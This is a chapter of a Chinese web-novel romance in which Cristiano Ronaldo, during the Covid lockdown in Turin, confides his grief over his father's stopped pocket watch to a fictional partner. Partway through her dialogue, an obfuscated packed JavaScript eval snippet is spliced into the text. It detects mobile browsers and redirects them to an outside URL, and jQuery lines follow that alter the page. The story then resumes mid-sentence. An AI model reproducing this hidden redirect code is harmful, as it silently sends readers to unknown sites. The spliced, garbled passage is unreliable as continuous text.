后院足球课的轻松愉快，像一阵温暖的春风，短暂地吹散了隔离期的阴霾。但那份深入骨髓的、对赛场和未来的不确定性，并未真正消失，只是沉潜下来，在寂静的深夜里悄然浮现。


    五月初，意大利的疫情曲线终于出现平缓的迹象，但解封之日依旧遥遥无期。联赛重启的希望时明时暗，各种方案在媒体上争论不休。克里斯蒂亚诺的训练更加系统化，甚至请人将地下室的一部分改造成了更专业的体能训练区，但他眉宇间那抹等待的焦灼，苏晚栀看得分明。


    一天深夜，苏晚栀被书房隐约的光线和极轻微的响动惊醒。她起身下床，轻轻推开书房虚掩的门。克里斯蒂亚诺没有开大灯，只亮着一盏旧台灯，昏黄的光晕笼罩着书桌一角。他背对着门口，坐在椅子上，低着头，手里似乎拿着什么东西，正看得出神。


    苏晚栀没有立刻进去，只是静静地站在门口。她看到他的肩膀微微塌着，背影在灯光下拉出长长的、孤寂的影子。这不是她熟悉的那个在健身房里挥汗如雨、在球场上睥睨一切的克里斯蒂亚诺，这是一个卸下所有盔甲、流露出疲惫和……某种深沉怀念的男人。


    她轻轻敲了敲门框。


    克里斯蒂亚诺身体几不可察地僵了一下，迅速将手里的东西合上，塞进抽屉，动作快得几乎像是本能反应。他转过身，脸上已恢复了平日的平静，只是眼底还残留着一丝未来得及完全掩去的复杂情绪。“吵醒你了？”他声音有些沙哑。


    “没有，”苏晚栀走过去，没有去探究他藏起的东西，只是将手轻轻搭在他紧绷的肩膀上，“看你还没睡。”


    克里斯蒂亚诺握住她的手，指尖冰凉。他沉默了几秒，抬头看着她，台灯的光在他深邃的眼眸里跳跃：“睡不着。想起一些……以前的事。”


    苏晚栀在他身边的扶手椅上坐下，没有催促，只是安静地陪着他。窗外的都灵万籁俱寂，只有两人清浅的呼吸声。


    又过了一会儿，克里斯蒂亚诺似乎下定了决心，他拉开刚才关上的抽屉，从里面拿出一个用软布包裹的、巴掌大的物件。他小心翼翼地打开层层包裹，露出里面一样东西——一块老旧的、黄铜外壳的怀表。表壳上布满了细密的划痕，边缘有些磨损，显然年代久远。


    “这是我父亲的。”克里斯蒂亚诺的声音很低，带着一种苏晚栀从未听过的、混合着孺慕和伤感的温柔。他用指腹轻轻摩挲着冰凉的黄铜表壳，动作小心翼翼，像对待一件易碎的珍宝。


    苏晚栀的心微微一颤。她很少听他主动提起父亲。只知道他的父亲迪尼斯·阿维罗在他很年轻的时候就因酗酒引发的疾病去世了，那是他心中一道深刻的伤痕。


    “他没什么值钱的东西，”克里斯蒂亚诺继续说，目光落在怀表上，仿佛透过它看到了遥远的过去，“这块表，是他为数不多的、像样的物件。他以前在器材室工作，上下班就看它。后来他病了，表也停了……”他顿了顿，喉结滚动了一下，“他走的时候，我把它带在身边。很多年了，一直没有修它。修好了，时间走了，人也回不来了。”


    他的语气很平淡，但苏晚栀能感受到那平淡之下汹涌的暗流。这块停摆的怀表，承载着他早逝的父爱，也象征着他心中那个永远停留在过去的、关于家的缺憾。


    “有时候看着它，”克里斯蒂亚诺抬起头，望向窗外沉沉的夜色，眼神有些空洞，“会觉得时间很残忍。它带走了很多人，很多事。也会想，如果他能看到现在……看到迷你罗，看到……”他停顿了一下，目光转回苏晚栀脸上，没有说完，但意思不言而喻。


    苏晚栀伸出手，覆盖在他握着怀表的手上，传递着无声的安慰。她能想象，在这个全球停摆、前途未卜的特殊时期，这块停摆的怀表，会如何轻易地勾起他内心深处关于失去、关于时间无情流逝的隐痛。


    “但他一定为你骄傲，”苏晚栀轻声说，语气坚定，“骄傲你成为了这么好的球员，也成为了这么好的父亲。”


    克里斯蒂亚诺深深地看着她，绿棕色的眼眸在灯光下像两潭深水。他反手握住她的手，力道有些紧：“我努力不让他失望。努力跑得快一点，再快一点，好像这样，就能跑在时间前面，能抓住更多东西。” 他的声音里带着一丝不易察觉的颤抖，泄露了那份深藏于强大外表下的、对逝去和无法掌控的恐惧。


    苏晚栀的心揪紧了。她想起他永不停歇的训练，对胜利近乎偏执的渴望，或许不仅仅是为了荣誉，更深层的，是为了对抗那种源自童年缺失的、对失去的恐惧，是为了向那个缺席的父亲证明自己。


    她站起身，走到他面前，弯下腰，双手捧起他的脸，让他看着自己的眼睛。她的目光温柔而坚定：“克里斯蒂亚诺，你不需要跑在时间前面。你已经抓住了很多很多了。你有迷你罗，有多洛雷斯夫人，有爱你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975609|193116||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    支持你的家人和朋友……”她顿了顿，脸颊微热，但还是清晰地说，“……还有我。”


    克里斯蒂亚诺的身体明显震了一下，他凝视着近在咫尺的她，眼底翻涌着剧烈的情绪波动。他猛地伸出手，将她紧紧搂进怀里，脸深深埋在她的颈窝，呼吸灼热而急促。苏晚栀能感觉到他身体的轻微颤抖和颈间皮肤的湿意。他没有哭出声，但那无声的依赖和脆弱，比任何言语都更具冲击力。


    良久，他才缓缓平静下来，但依旧没有松开她。他低声在她耳边说，声音闷闷的：“晚栀，有时候……我很怕。”


    “怕什么？”


    “怕停下来。怕有一天，再也跑不动了。怕……会让他失望，也让你们失望。”


    苏晚栀轻轻拍着他的背，像安抚一个没有安全感的孩子：“没有人会失望。克里斯蒂亚诺，真正的强大，不是永远不停下，而是敢停下来的时候，知道自己为什么而跑，也知道有人会在原地等你。” 她顿了顿，补充道，“而且，你看这块表，虽然停了，但它记录的时间是真实的。你父亲的爱，和你对他的思念，并不会因为表停了就消失。它们就在这里，”她指了指他的心口，“永远都在。”


    克里斯蒂亚诺抬起头，眼眶泛红，但眼神已经清明了许多。他看着她，看了很久，然后拿起桌上那块老怀表，小心翼翼地放在她掌心：“帮我收着它，好吗？”


    这个举动，意义非凡。这不仅仅是一块表，这是他最私密、最沉重的一段记忆和情感的托付。苏晚栀感觉掌心的怀表沉甸甸的，她郑重地点了点头：“好。”


    就在这时，克里斯蒂亚诺放在桌上的手机屏幕突然亮了起来，是乔治·门德斯发来的视频通话请求。这么晚来电，一定有紧急事情。


    克里斯蒂亚诺深吸一口气，揉了揉脸，迅速恢复了平日的冷静。他拿起手机，对苏晚栀说：“我去接个电话。” 他起身走向阳台，关上了玻璃门。


    苏晚栀坐在书房里，手里握着那块冰凉的怀表，看着阳台上克里斯蒂亚诺接电话的背影。他站得笔直，恢复了那个冷静、强大的形象，但苏晚栀知道，刚才那个流露脆弱的男人，才是更真实的他。


    门德斯的深夜来电，无疑带来了关于联赛重启或未来的重要消息，可能意味着停摆即将结束，也可能意味着新的变数。


    世界的齿轮，似乎即将再次转动。而他们，准备好了吗？